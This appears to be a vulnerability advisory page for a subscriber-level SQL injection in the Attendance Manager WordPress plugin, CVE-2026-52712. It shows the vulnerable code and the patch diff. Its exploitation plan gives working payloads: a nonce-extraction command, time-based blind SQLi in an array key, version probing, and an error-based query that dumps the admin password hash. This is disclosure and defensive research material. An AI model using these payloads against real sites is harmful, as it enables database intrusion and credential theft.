CVE-2026-52712

Attendance Manager <= 0.6.2 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
0.6.3
Patched in
9d
Time to patch

Description

The Attendance Manager plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 0.6.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=0.6.2
PublishedJune 15, 2026
Last updatedJune 23, 2026
Affected pluginattendance-manager

What Changed in the Fix

Changes introduced in v0.6.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-52712 (Attendance Manager SQL Injection) ## 1. Vulnerability Summary The **Attendance Manager** plugin for WordPress (versions <= 0.6.2) is vulnerable to an **authenticated SQL injection** in the `update_by_staff` and `update_by_admin` functions within the `A…

Show full research plan

Exploitation Research Plan - CVE-2026-52712 (Attendance Manager SQL Injection)

1. Vulnerability Summary

The Attendance Manager plugin for WordPress (versions <= 0.6.2) is vulnerable to an authenticated SQL injection in the update_by_staff and update_by_admin functions within the ATTMGR_Form class.

The vulnerability exists because the plugin takes keys from user-supplied arrays ($_POST['attmgr_off']) and interpolates them directly into a DELETE SQL statement using sprintf with single quotes, but without using $wpdb->prepare() or proper escaping (esc_sql). Since the payload is injected into the key of the array, standard sanitization often applied to values is bypassed.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php is NOT the target here. Instead, the plugin hooks into template_redirect, meaning the exploit can be triggered by a POST request to any frontend page (or specifically the Staff Scheduler page) where the plugin's action filter is active.
  • Action Trigger: $_POST['action'] === 'attmgr_update_by_staff'
  • Vulnerable Parameter: attmgr_off (specifically the keys of this array).
  • Payload Location: $_POST['attmgr_off'][PAYLOAD] = 1
  • Required Authentication: Subscriber-level access or higher.
  • Preconditions:
    1. A valid WordPress nonce for the action attmgr (passed in the onetimetoken field).
    2. The user must be logged in as a Subscriber.

3. Code Flow

  1. Entry Point: ATTMGR_Form::action() is hooked to template_redirect.
  2. Filter Execution: action() calls apply_filters( ATTMGR::PLUGIN_ID.'_action', $result ).
  3. Vulnerable Callback: ATTMGR_Form::update_by_staff($result) is registered as a filter for attmgr_action.
  4. Nonce Check: The function verifies the nonce: wp_verify_nonce( $_POST['onetimetoken'], 'attmgr' ).
  5. Vulnerable Logic:
    // class/class-form.php: line 65
    if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) {
        foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $date => $value ) {
            $del_where[] = sprintf( "'%s'", $date ); // $date is the key from $_POST
        }
        $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" );
    }
    
  6. SQL Sink: $wpdb->query() executes the malformed string.

4. Nonce Acquisition Strategy

The nonce is required to pass the wp_verify_nonce check in update_by_staff.

  1. Identify Page: The plugin automatically creates a page with the slug staff_scheduler containing the shortcode [attmgr_staff_scheduler].
  2. Navigation: Use the browser_navigate tool to go to /staff_scheduler/.
  3. Extraction: The shortcode renders a hidden input field for the nonce.
    • Variable Name: onetimetoken
    • Action: attmgr
  4. Actionable Command:
    browser_eval("document.querySelector('input[name=\"onetimetoken\"]').value")
    

5. Exploitation Strategy

We will use a time-based blind SQL injection payload injected into the key of the attmgr_off array.

  • Target URL: http://localhost:8080/staff_scheduler/ (or any frontend URL).
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: attmgr_update_by_staff
    • onetimetoken: [EXTRACTED_NONCE]
    • attmgr_off[2025-01-01') AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -]: 1

Draft Payload Construction:
The resulting SQL query will look like:
DELETE FROM wp_attmgr_schedule WHERE staff_id=X AND date IN ('2025-01-01') AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -' )

6. Test Data Setup

  1. Create Subscriber User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Ensure Scheduler Page Exists:
    wp post create --post_type=page --post_title="Staff Scheduler" --post_name=staff_scheduler --post_status=publish --post_content='[attmgr_staff_scheduler]'
  3. Verify Plugin Tables: Ensure wp_attmgr_schedule exists (activated via ATTMGR_Activation::create_table).

7. Expected Results

  • Normal Request: The request finishes in < 1 second.
  • Exploit Request: The request hangs/delays for approximately 5 seconds due to the SLEEP(5) command.
  • Success Indicator: A measurable time delay in the HTTP response.

8. Verification Steps

After the HTTP request, confirm the vulnerability by attempting to extract the database version:

  1. Payload: 2025-01-01') AND (SELECT 1 FROM (SELECT IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0))x)-- -
  2. If the response is delayed, the first digit of the MySQL version is verified as '8'.

9. Alternative Approaches

If time-based injection is throttled, use Error-Based SQL Injection (if WP_DEBUG is enabled):

  • Payload Key: 2025-01-01') AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
  • Expected Response: A WordPress database error message containing the admin password hash.

If staff_scheduler is not accessible, the exploit can be attempted via update_by_admin by an administrator (or a user with access to admin_scheduler), using the parameter attmgr_off[STAFF_ID][PAYLOAD].

Research Findings
Static analysis — not yet PoC-verified

Summary

The Attendance Manager plugin for WordPress is vulnerable to authenticated SQL injection through the manipulation of array keys in the 'attmgr_off' parameter. The functions 'update_by_staff' and 'update_by_admin' interpolate these keys directly into DELETE SQL queries using sprintf without proper escaping or preparation, allowing users with subscriber-level access or higher to execute arbitrary SQL commands and extract sensitive database information.

Vulnerable Code

// class/class-form.php:65
// OFF
$del_where = array();
if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) {
    foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $date => $value ) {
        $del_where[] = sprintf( "'%s'", $date );
    }
    $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" );
}

---

// class/class-form.php:134
// OFF
if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) {
    foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $staff_id => $data ) {
        $del_where = array();
        foreach ( $data as $date => $value ) {
            $del_where[] = sprintf( "'%s'", $date );
        }
        $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" );
    }
}

Security Fix

--- class/class-form.php
+++ class/class-form.php
@@ -68,7 +68,7 @@
 			if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) {
 				foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $date => $value ) {
-					$del_where[] = sprintf( "'%s'", $date );
+					$del_where[] = $wpdb->prepare( '%s', $date );
 				}
 				$ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" );
 			}
@@ -137,7 +137,7 @@
 					foreach ( $data as $date => $value ) {
-						$del_where[] = sprintf( "'%s'", $date );
+						$del_where[] = $wpdb->prepare( '%s', $date );
 					}
 					$ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" );

Exploit Outline

The exploit targets the 'template_redirect' hook by submitting a POST request to a frontend page with the 'action' parameter set to 'attmgr_update_by_staff'. An authenticated attacker (Subscriber+) must first obtain a valid 'onetimetoken' nonce, typically found on the plugin's 'Staff Scheduler' page. The payload is injected into the key of the 'attmgr_off' array. Because the plugin processes these keys using sprintf inside a loop and concatenates them into a DELETE statement without sanitization, an attacker can break out of the string literal and append malicious SQL, such as a time-based blind injection (SLEEP) or error-based extraction.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.